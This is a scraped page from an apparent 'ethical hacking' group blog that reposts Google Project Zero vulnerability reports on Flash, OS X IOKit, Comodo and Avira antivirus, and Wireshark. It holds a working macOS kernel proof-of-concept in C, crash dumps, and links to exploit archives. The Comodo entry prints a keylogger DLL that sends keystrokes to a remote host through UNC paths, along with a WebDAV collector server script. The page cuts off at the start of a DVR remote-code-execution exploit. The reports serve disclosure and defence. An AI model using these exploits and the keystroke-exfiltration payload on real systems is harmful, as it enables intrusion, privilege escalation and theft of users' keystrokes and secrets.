Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=718
There is a use-after-free in Sprite Creation. If a Sprite is created, and then the handler for the frameConstructed event triggers a remove object action, the Sprite is then used after it has been freed.
A sample swf is attached.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39610.zip
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863128674
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=720
There is a heap overflow in the Zlib codecs used when playing flv files in flash. Sample flv files are attached. Load http://127.0.0.1/LoadMP42.swf?file=smalloverflow.flv to reproduce.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39609.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=721
The attached fuzz case causes a crash in shape rendering.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39608.zip
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=728
External Method 36 of IOUSBInterfaceUserClient is _AbortStreamPipe.
It takes two scalar inputs and uses the second one as an array index to read a pointer
to a C++ object without checking the bounds then calls a virtual method on it.
Furthermore there's no check that the array pointer is non-null; if it is then we can get a
controlled offset-from-zero read; since our controlled dword will be multiplied by 8 to
index the array this means we can easily get the kernel to dereference a controllable
userspace address.
In this case a value of 0xf0f0f0f0 leads to the kernel reading an IOKit object pointer from
0x787878780. This poc maps that page to demonstrate control of a kernel object pointer.
tested on MacBookAir5,2 w/10.11.3 (15D21)
*/
// ianbeer
// build: clang -o usb_oob usb_oob.c -framework IOKit
// tested on MacBookAir5,2 w/10.11.3 (15D21)
/*
OS X Kernel code execution due to lack of bounds checking in AppleUSBPipe::Abort
External Method 36 of IOUSBInterfaceUserClient is _AbortStreamPipe.
It takes two scalar inputs and uses the second one as an array index to read a pointer
to a C++ object without checking the bounds then calls a virtual method on it.
Furthermore there's no check that the array pointer is non-null; if it is then we can get a
controlled offset-from-zero read; since our controlled dword will be multiplied by 8 to
index the array this means we can easily get the kernel to dereference a controllable
userspace address.
In this case a value of 0xf0f0f0f0 leads to the kernel reading an IOKit object pointer from
0x787878780. This poc maps that page to demonstrate control of a kernel object pointer.
*/
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <IOKit/IOKitLib.h>
void map_payload(uint64_t target_rip) {
uint64_t*** obj_ptr_ptr = (void*)0x0000000787878780;
void* request = (void*)0x0000000787878000;
void* page = mmap(request, 0x1000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
if (request != page) {
printf("MAP_FIXED didn't give us the right page\n");
exit(EXIT_FAILURE);
}
memset((void*)page, 'A', 0x1000);
}
uint64_t make_call(mach_port_t conn) {
kern_return_t err;
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0;
inputScalarCnt = 2;
inputScalar[0] = 0;
inputScalar[1] = 0xf0f0f0f0;
err = IOConnectCallMethod(
conn,
36,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err != KERN_SUCCESS){
printf("IOConnectCall error: %x\n", err);
} else{
printf("worked?\n");
}
return 0;
}
mach_port_t get_user_client(char* name, int type) {
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching(name);
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), type, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
return conn;
}
int main(int argc, char** argv){
mach_port_t port = get_user_client("IOUSBInterface", 0x0);
map_payload(0xffff414141414141);
make_call(port);
return 0;
}
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=737
Lzx_Decoder::init() initializes the vector Lzx_Decoder->window to a fixed size of 2^method bytes, which is then used during Lzx_Decoder::Extract(). It's possible for LZX compressed streams to exceed this size. Writes to the window buffer are bounds checked, but only after the write is completed.
The code is probably something like:
window[++window_pos] = foo;
if (window_pos > window.size())
return false;
This means the overflow still occurs, resulting in memory corruption, and can be corrupted multiple times per stream as a single scan can contain multiple LZX compressed blobs. Scanning the attached testcase with page heap enabled results in the following error:
(918.644): Unknown exception - code 000006ba (first chance)
===========================================================
VERIFIER STOP 000000000000000F: pid 0x918: corrupted suffix pattern
0000000040C71000 : Heap handle
0000000040F76FE0 : Heap block
0000000000010018 : Block size
0000000040F86FF8 : corruption address
===========================================================
> lmv munarch
start end module name
000007fe`f44c0000 000007fe`f4562000 unarch (export symbols) C:\Program Files\COMODO\COMODO Internet Security\scanners\unarch.cav
Loaded symbol image file: C:\Program Files\COMODO\COMODO Internet Security\scanners\unarch.cav
Image path: C:\Program Files\COMODO\COMODO Internet Security\scanners\unarch.cav
Image name: unarch.cav
Timestamp: Mon Dec 29 04:52:14 2014 (54A14E7E)
CheckSum: 000AC529
ImageSize: 000A2000
File version: 6.2.15068.1057
Product version: 6.2.15068.1057
File flags: 0 (Mask 3F)
File OS: 4 Unknown Win32
File type: 1.0 App
File date: 00000000.00000000
Translations: 0409.04e4
CompanyName: COMODO
ProductName: COMODO Antivirus Scan Engine
ProductVersion: 6, 2, 342748, 1057
FileVersion: 6, 2, 342748, 1057
FileDescription: COMODO Antivirus Scan Engine
LegalCopyright: 2005-2014 COMODO. All rights reserved.
Please note that many of the CAV modules used by Comodo do not use dynamic base, so ASLR does not work. Naturally, all files are scanned with NT AUTHORITY\SYSTEM and with no sandboxing.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39606.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=738
A major component of Comodo Antivirus is the x86 emulator, which includes a number of shims for win32 API routines so that common API calls work in emulated programs (CreateFile, LoadLibrary, etc). The emulator itself is located in MACH32.DLL, which is compiled without /DYNAMICBASE, and runs as NT AUTHORITY\SYSTEM.
These API routines access memory from the emulated virtual machine, perform the requested operation, and then poke the result back into the emulator. Because these emulated routines are all native code, they must take care not to trust values extracted from the emulator, which is running attacker controlled code.
Browsing through the list of emulated routines, MSVBVM60!rtcLowerCaseVar jumped out as an obvious case of integer overflow due to trusting attacker-provided parameters.
The code attempts to extract a VT_BSTR VARIANT, which contains a pascal-like string, something like:
struct BSTR {
DWORD Length;
CHAR Data[0];
};
In pseudocode, the code does something like this:
vm->ReadMemory(Parameter1); // PVARIANT
vm->ReadMemory(Parameter2); // PVARIANT
vm->GetData(&LocalVariant, Parameter2); // Read the second VARIANT
if (LocalVariant.vt !== VT_BSTR) // Verify it's a BSTR
return false;
vm->GetData(&szLen, LocalVariant.bstr - 4); // Try to read the Length of the BSTR
The code attempts to convert this BSTR into a nul-terminated wide string. This requires 2 additional bytes (for the terminator), so providing a length of 0xFFFFFFFF will cause the allocation to wrap.
Buf = malloc(szLen + 2); // Allocate space for the string
vm->GetWideString(Buf, Ptr, szLen >> 1); // Read Length/2 WCHARs
This will read Length/2 WCHAR's from the hostile virtual machine and clobber the trusted heap buffer. The corruption can be halted early by placing the BSTR before an unmapped page boundary, resulting in a nice clean heap overflow.
The scan process which runs as NT AUTHORITY\SYSTEM and does not use ASLR, making this a critical remote memory corruption that can be exploited via email, http, etc with zero user interaction.
(e38.2c0): Access violation - code c0000005 (!!! second chance !!!)
00000000`0ec6b5c6 0fb70408 movzx eax,word ptr [rax+rcx] ds:00000000`4e6d1567=????
0:009> r
rax=000000004e6d0002 rbx=0000000000000100 rcx=0000000000001565
rdx=000000005b0ce400 rsi=00000000000000c3 rdi=000000005b0ce510
rip=000000000ec6b5c6 rsp=000000005b0ce3f0 rbp=0000000000006e58
r8=000000005b0ce460 r9=000000004e6d0005 r10=00000000000000e8
r11=00000000000000e8 r12=00000000000000f7 r13=000000004e6bfe1c
r14=0000000000014b08 r15=0000000000000100
iopl=0 nv up ei pl nz ac pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010210
00000000`0ec6b5c6 0fb70408 movzx eax,word ptr [rax+rcx] ds:00000000`4e6d1567=????
0:009> lmv mmach32
start end module name
00000000`17410000 00000000`17658000 mach32 (deferred)
Image path: C:\Program Files\COMODO\COMODO Internet Security\scanners\mach32.dll
Image name: mach32.dll
Timestamp: Mon Dec 29 04:57:44 2014 (54A14FC8)
CheckSum: 00244AF0
ImageSize: 00248000
File version: 6.2.15068.1057
Product version: 6.2.15068.1057
File flags: 0 (Mask 3F)
File OS: 4 Unknown Win32
File type: 1.0 App
File date: 00000000.00000000
Translations: 0409.04e4
CompanyName: COMODO
ProductName: COMODO Antivirus Scan Engine
ProductVersion: 6, 2, 342748, 1057
FileVersion: 6, 2, 342748, 1057
FileDescription: COMODO Antivirus Scan Engine
LegalCopyright: 2005-2014 COMODO. All rights reserved.
I think the same bug exists in rtcSpaceBstr, rtcSpaceVar, rtcUpperCaseBstr, rtcUpperCaseVar, and maybe a few more.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39605.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=750
The following crash due to a static memory out-of-bounds write can be observed in an ASAN build of Wireshark (current git master), by feeding a malformed file to tshark ("$ ./tshark -nVxr /path/to/file"):
--- cut ---
==28209==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7fde2f36bfc4 at pc 0x7fde25b1332c bp 0x7fffe48bc670 sp 0x7fffe48bc668
WRITE of size 4 at 0x7fde2f36bfc4 thread T0
#0 0x7fde25b1332b in dissect_ber_integer epan/dissectors/packet-ber.c:2001:16
#1 0x7fde27f46621 in dissect_kerberos_ADDR_TYPE epan/dissectors/../../asn1/kerberos/kerberos.cnf:351:12
#2 0x7fde25b1959a in dissect_ber_sequence epan/dissectors/packet-ber.c:2415:17
#3 0x7fde27f4656f in dissect_kerberos_HostAddress epan/dissectors/../../asn1/kerberos/kerberos.cnf:233:12
#4 0x7fde25b1959a in dissect_ber_sequence epan/dissectors/packet-ber.c:2415:17
#5 0x7fde27f4badf in dissect_kerberos_EncKrbPrivPart epan/dissectors/../../asn1/kerberos/kerberos.cnf:407:12
#6 0x7fde25b040f7 in dissect_ber_tagged_type epan/dissectors/packet-ber.c:695:18
#7 0x7fde27f42384 in dissect_kerberos_ENC_KRB_PRIV_PART epan/dissectors/../../asn1/kerberos/kerberos.cnf:417:12
#8 0x7fde25b1f100 in dissect_ber_choice epan/dissectors/packet-ber.c:2917:21
#9 0x7fde27f4139a in dissect_kerberos_Applications epan/dissectors/../../asn1/kerberos/kerberos.cnf:185:12
#10 0x7fde27f3f7b2 in dissect_kerberos_common epan/dissectors/../../asn1/kerberos/packet-kerberos-template.c:2103:10
#11 0x7fde27f3e22f in dissect_kerberos_main epan/dissectors/../../asn1/kerberos/packet-kerberos-template.c:2134:10
#12 0x7fde26f3c34f in dissect_pktc_mtafqdn epan/dissectors/packet-pktc.c:566:15
#13 0x7fde256145c1 in call_dissector_through_handle epan/packet.c:626:8
#14 0x7fde25606f3a in call_dissector_work epan/packet.c:701:9
#15 0x7fde2560670d in dissector_try_uint_new epan/packet.c:1160:9
#16 0x7fde256072b4 in dissector_try_uint epan/packet.c:1186:9
#17 0x7fde277709e5 in decode_udp_ports epan/dissectors/packet-udp.c:583:7
#18 0x7fde2777fa80 in dissect epan/dissectors/packet-udp.c:1081:5
#19 0x7fde27773840 in dissect_udplite epan/dissectors/packet-udp.c:1094:3
#20 0x7fde256145c1 in call_dissector_through_handle epan/packet.c:626:8
#21 0x7fde25606f3a in call_dissector_work epan/packet.c:701:9
#22 0x7fde2560670d in dissector_try_uint_new epan/packet.c:1160:9
#23 0x7fde267660bb in ip_try_dissect epan/dissectors/packet-ip.c:1978:7
#24 0x7fde26770de8 in dissect_ip_v4 epan/dissectors/packet-ip.c:2472:10
#25 0x7fde26766819 in dissect_ip epan/dissectors/packet-ip.c:2495:5
#26 0x7fde256145c1 in call_dissector_through_handle epan/packet.c:626:8
#27 0x7fde25606f3a in call_dissector_work epan/packet.c:701:9
#28 0x7fde2560670d in dissector_try_uint_new epan/packet.c:1160:9
#29 0x7fde256072b4 in dissector_try_uint epan/packet.c:1186:9
#30 0x7fde26f6e380 in dissect_ppp_common epan/dissectors/packet-ppp.c:4344:10
#31 0x7fde26f6db3c in dissect_ppp_hdlc_common epan/dissectors/packet-ppp.c:5337:5
#32 0x7fde26f65df5 in dissect_ppp_hdlc epan/dissectors/packet-ppp.c:5378:5
#33 0x7fde256145c1 in call_dissector_through_handle epan/packet.c:626:8
#34 0x7fde25606f3a in call_dissector_work epan/packet.c:701:9
#35 0x7fde2560670d in dissector_try_uint_new epan/packet.c:1160:9
#36 0x7fde2634fe55 in dissect_frame epan/dissectors/packet-frame.c:493:11
#37 0x7fde256145c1 in call_dissector_through_handle epan/packet.c:626:8
#38 0x7fde25606f3a in call_dissector_work epan/packet.c:701:9
#39 0x7fde25610a7e in call_dissector_only epan/packet.c:2674:8
#40 0x7fde2560243f in call_dissector_with_data epan/packet.c:2687:8
#41 0x7fde25601814 in dissect_record epan/packet.c:509:3
#42 0x7fde255b4bb9 in epan_dissect_run_with_taps epan/epan.c:376:2
#43 0x52f11b in process_packet tshark.c:3748:5
#44 0x52840c in load_cap_file tshark.c:3504:11
#45 0x51e71c in main tshark.c:2213:13
0x7fde2f36bfc4 is located 4 bytes to the right of global variable 'cb' defined in 'packet-pktc.c:539:27' (0x7fde2f36bfa0) of size 32
SUMMARY: AddressSanitizer: global-buffer-overflow epan/dissectors/packet-ber.c:2001:16 in dissect_ber_integer
Shadow bytes around the buggy address:
0x0ffc45e657a0: 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9 f9
0x0ffc45e657b0: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
0x0ffc45e657c0: 00 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00
0x0ffc45e657d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffc45e657e0: 00 00 00 00 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9
=>0x0ffc45e657f0: f9 f9 f9 f9 00 00 00 00[f9]f9 f9 f9 00 00 00 00
0x0ffc45e65800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffc45e65810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffc45e65820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffc45e65830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffc45e65840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==28209==ABORTING
--- cut ---
The crash was reported at https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=12206. Attached is a file which triggers the crash.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39604.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=762
In COleMemFile::LoadDiFatList, values from the header are used to parse the document FAT. If header.csectDif is very high, the calculation overflows and a very small buffer is allocated.
The document FAT is then memcpy'd onto the buffer directly from the input file being scanned, resulting in a nice clean heap overflow.
This vulnerability is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM, the attached test cases should reproduce the problem reliably (this issue was found using trivial fuzzing). You can see this testcase has this->m_oleDocHeader.csectDif = 0x40000001, and so this->m_oleDocHeader.csectDif * this->diFATPerSect * 4 + 436 wraps to 0x3b0.
(b80.ad8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
script!CreateInstance+0x178ac:
00000000`0ac5a4bc 8901 mov dword ptr [rcx],eax ds:00000000`0c79a1f0=????????
0:009> u
script!CreateInstance+0x178ac:
00000000`0ac5a4bc 8901 mov dword ptr [rcx],eax
00000000`0ac5a4be 4d8bc8 mov r9,r8
00000000`0ac5a4c1 49c1e905 shr r9,5
00000000`0ac5a4c5 7550 jne script!CreateInstance+0x17907 (00000000`0ac5a517)
00000000`0ac5a4c7 4d8bc8 mov r9,r8
00000000`0ac5a4ca 49c1e903 shr r9,3
00000000`0ac5a4ce 7414 je script!CreateInstance+0x178d4 (00000000`0ac5a4e4)
00000000`0ac5a4d0 4883e908 sub rcx,8
0:009> r
rax=00000000004e8400 rbx=000000000c782120 rcx=000000000c79a1f0
rdx=fffffffffffe99f8 rsi=000000000c7839f0 rdi=0000000000000017
rip=000000000ac5a4bc rsp=000000000d80e4b8 rbp=0000000000000bd6
r8=00000000000001f8 r9=0000000000000000 r10=00000006ffffffff
r11=000000000c799ff8 r12=00000000000138a1 r13=000000000aea0000
r14=0000000000000000 r15=0000000000336b00
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
script!CreateInstance+0x178ac:
00000000`0ac5a4bc 8901 mov dword ptr [rcx],eax ds:00000000`0c79a1f0=????????
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39603.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=763
The LZMA specification says the following about the memory usage of decompression:
"The size of the probability model counter arrays is calculated with the following formula: size_of_prob_arrays = 1846 + 768 * (1 << (lp + lc))"
But that formula only holds true if you keep the parameters within the specified range, which the SDK gives as:
lp - The number of literal pos bits (low bits of current position for literals).
It can be in the range from 0 to 4. The default value is 0.
lc - The number of literal context bits (high bits of previous literal).
It can be in the range from 0 to 8. The default value is 3.
If you set the parameters outside those ranges, then the rest of the assumptions don't hold and memory corruption can occur. Comodo do not attempt to keep these parameters in range, and lots of memory corruption can occur, the attached testcase should crash during an LZMA decode operation by overflowing a heap buffer.
This vulnerability is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM.
(438.dd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
unpack!CreateInstance+0x654bc:
000007fe`f29890cc 66f3ab rep stos word ptr [rdi]
0:010> r
rax=0000000000000400 rbx=0000000000000000 rcx=000000007ffffe88
rdx=0000000000000001 rsi=000000000b154588 rdi=000000000bbfc000
rip=000007fef29890cc rsp=000000000d6cd2c0 rbp=0000000000000000
r8=0000000000023c7c r9=000000000d6cd378 r10=0000000000000001
r11=000000000b361000 r12=0000000000000001 r13=000000000b39c38c
r14=0000000000000000 r15=000000000bbfaea4
iopl=0 nv up ei ng nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286
unpack!CreateInstance+0x654bc:
000007fe`f29890cc 66f3ab rep stos word ptr [rdi]
This is trying to initialize the probabilities array, but overflowing the heap buffer allocated and running off a page boundary.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39602.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=764
Packman is an obscure opensource executable packer that Comodo Antivirus attempts to unpack during scanning. The code is available online here:
http://packmanpacker.sourceforge.net/
If the compression method is set to algorithm 1, compression parameters are read directly from the input executable without validation. Fuzzing this unpacker revealed a variety of crashes due to this, such as causing pointer arithmetic in CAEPACKManUnpack::DoUnpack_With_NormalPack to move pksDeCodeBuffer.ptr to an arbitrary address, which allows an attacker to free() an arbitrary pointer.
This issue is obviously exploitable to execute code as NT AUTHORITY\SYSTEM.
The attached testcase will attempt to free() an invalid pointer to demonstrate this.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39601.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=765
One of the things you might expect an Antivirus engine to do reliably is parse PE files. However, after some simple testing with Avira, I found a heap underflow (that is, writing *before* a heap allocation) parsing section headers. If a section header has a very large relative virtual address, Avira will wrap calculating the offset into a heap buffer, and write attacker controlled data to it (the data from section->PointerToRawData in the input file).
The code is doing something like:
if (Section->SizeOfRawData + Section->VirtualAddress < 8192) {
buf = malloc(8192);
memcpy(buf + Section->VirtualAddress, input + Section->PointerToRawData, Section->SizeOfRawData);
}
The bug is that you need to check if Section->VirtualAddress + Section->SizeOfRawData wraps. This vulnerability is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM.
To reproduce this bug, create an executable with a section like this:
NAME RVA VSZ RAW_SZ RAW_PTR nREL REL_PTR nLINE LINE_PTR FLAGS
.text ff003fff 1fff 1fff 200 0 0 0 0 0 ---
With Page heap enabled, this should crash reliably trying to memcpy the data from section.PointerToRawData
(e58.2b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=00000000 ecx=000007f7 edx=00000002 esi=35785219 edi=41294000
eip=7291545c esp=41bedaf0 ebp=41bedaf8 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
aecore!ave_proc+0x1fc2c:
7291545c f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:011> db esi
35785219 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
35785229 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
35785239 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
35785249 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
35785259 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
35785269 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
35785279 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
35785289 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
I think it started writing to ptr - 8192, lets see what's there:
0:011> db edi - (0n8192 - (ecx * 4))
41293fdc 00 00 00 41 41 41 41 41-41 41 41 41 41 41 41 41 ...AAAAAAAAAAAAA
41293fec 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41293ffc 41 41 41 41 ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? AAAA????????????
4129400c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
4129401c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
4129402c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
4129403c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
4129404c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
Yes!
Without page heap, you should get heap corruption, probably writing to 0x41414141.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39600.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=769
Comodo Antivirus includes a x86 emulator that is used to unpack and monitor obfuscated executables, this is common practice among antivirus products. The idea is that emulators can run the code safely for a short time, giving the sample enough time to unpack itself or do something that can be profiled. Needless to say, this is a very significant and complicated attack surface, as an attacker can trigger emulation simply by sending the victim an email or getting them to visit a website with zero user interaction.
I've found some memory corruption issues with the emulator, but Comodo also implement hundreds of shims for Win32 API calls, so that things like CreateFile, LoadLibrary, and so on appear to work to the emulated code. Astonishingly, some of these shims simply extract the parameters from the emulated address space and pass them directly to the real API, while running as NT AUTHORITY\SYSTEM. The results are then poked back in to the emulator, and the code continues.
The possible attacks here are too numerous to mention.
Here are some of the more obvious mistakes, let's start with USER32!GetKeyState (wtf!!!!). Here is the emulator shim from mach32.dll:
.text:1001D9A0 sub_1001D9A0 proc near ; DATA XREF: .data:1016B10C31o
.text:1001D9A0
.text:1001D9A0 arg_0 = dword ptr 8
.text:1001D9A0
.text:1001D9A0 55 push ebp
.text:1001D9A1 8B EC mov ebp, esp
.text:1001D9A3 8B 45 08 mov eax, [ebp+arg_0] ; pVMClass
.text:1001D9A6 8B 08 mov ecx, [eax] ; vtbl
.text:1001D9A8 8B 91 98 00 00+ mov edx, [ecx+98h] ; VArg2Rarg
.text:1001D9AE 6A 00 push 0
.text:1001D9B0 6A 06 push 6 ; TypeDword
.text:1001D9B2 6A 01 push 1 ; ParamNum
.text:1001D9B4 50 push eax ; this
.text:1001D9B5 FF D2 call edx ; VArg2Rarg(pVMClass, 1, TypeDword, 0); Virtual Arg to Real Arg
.text:1001D9B7 50 push eax ; nVirtKey
.text:1001D9B8 FF 15 F4 62 07+ call ds:GetKeyState ; Extract parameter from emulator, then return the real value (!!!)
.text:1001D9BE 98 cwde
.text:1001D9BF 5D pop ebp
.text:1001D9C0 C3 retn
.text:1001D9C0 sub_1001D9A0 endp
The emulated code can query the real keyboard state (!!!).
I've found that the simplest method of triggering the emulation is to create a DLL with a writable text section. An attacker would also need a way to exfiltrate the monitored keystrokes out of the emulator, but I've found that the shim for kernel32!SetCurrentDirectoryA actually calls GetFileAttributes() on the specified parameter, so you can encode it as a UNC path and send it over the network to your control server. This doesn't require any user interaction.
To reproduce this bug, first, create a DLL like this:
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "KERNEL32")
#pragma comment(lib, "USER32")
// This is required to trigger the generic unpacker in comodo.
#pragma comment(linker, "/SECTION:.text,ERW")
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
char path[128];
char *ptr;
ZeroMemory(path, sizeof path);
ptr = strcpy(path, "\\\\?\\UNC\\192.168.237.1\\");
ptr += strlen(ptr);
SetCurrentDirectory(path);
for (;;) {
for (*ptr = 'A'; *ptr <= 'Z'; (*ptr)++) {
if (GetKeyState(*ptr) & 0x8000) {
SetCurrentDirectory(path);
}
}
}
return TRUE;
}
Then run a minimal WebDAV server like this on the remote host:
#!/usr/bin/env python
import SimpleHTTPServer
import SocketServer
class WebDavHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_OPTIONS(self):
self.send_response(200)
self.send_header('Allow', 'OPTIONS, GET, PROPFIND')
self.send_header('DAV', '1, 2')
self.end_headers()
self.connection.shutdown(1)
def do_PROPFIND(self):
self.send_response(207)
self.send_header('Content-type', 'text/xml')
self.end_headers()
self.wfile.write('<?xml version="1.0"?><a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:"><a:response></a:response></a:multistatus>')
self.connection.shutdown(1)
SocketServer.TCPServer(('0.0.0.0', 80), WebDavHandler).serve_forever()
You only get a few seconds of logging per scan, but you can duplicate the payload thousands of times into a ZIP archive for effectively unlimited scan time. Something like this:
$ for ((i=0;i<1024;i++)); do cp keystroke.dll $i.dll; zip keystroke.zip $i.dll; rm -f $i.dll; done
Now scanning that zip file will send all keystrokes to the WebDAV server for approximately ten or so minutes (please note, there's no reason this can't be extended indefinitely), see screenshot for reference.
This is not the only attack possible, you can also extract, delete, query and use cryptographic keys, smartcards and other security hardware, because calls to CAPI routines like are all passed directly through to the real API:
ADVAPI32!CryptAcquireContextA
ADVAPI32!CryptDecrypt
ADVAPI32!CryptDeriveKey
ADVAPI32!CryptCreateHash .. and so on.
Any secrets stored in the registry are also exposed to attackers via RegQueryValueEx and GetProfileInt among others, all passed directly through to the real API. The list of possible attacks here is simply too long to enumerate, any competent developer can see this is a colossal mistake that needs to be remedied urgently.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39599.zip
#!/usr/bin/python
# Blog post: http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html
'''
Vendors List
Ademco
ATS Alarmes technolgy and ststems
Area1Protection
Avio
Black Hawk Security
Capture
China security systems
Cocktail Service
Cpsecured
CP PLUS
Digital Eye'z no website
Diote Service & Consulting
DVR Kapta
ELVOX
ET Vision
Extra Eye 4 U
eyemotion
EDS
Fujitron
Full HD 1080p
Gazer
Goldeye
Goldmaster
Grizzly
HD IViewer
Hi-View
Ipcom
IPOX
IR
ISC Illinois Security Cameras, Inc.
JFL Alarmes
Lince
LOT
Lux
Lynx Security
Magtec
Meriva Security
Multistar
Navaio
NoVus
Optivision
PARA Vision
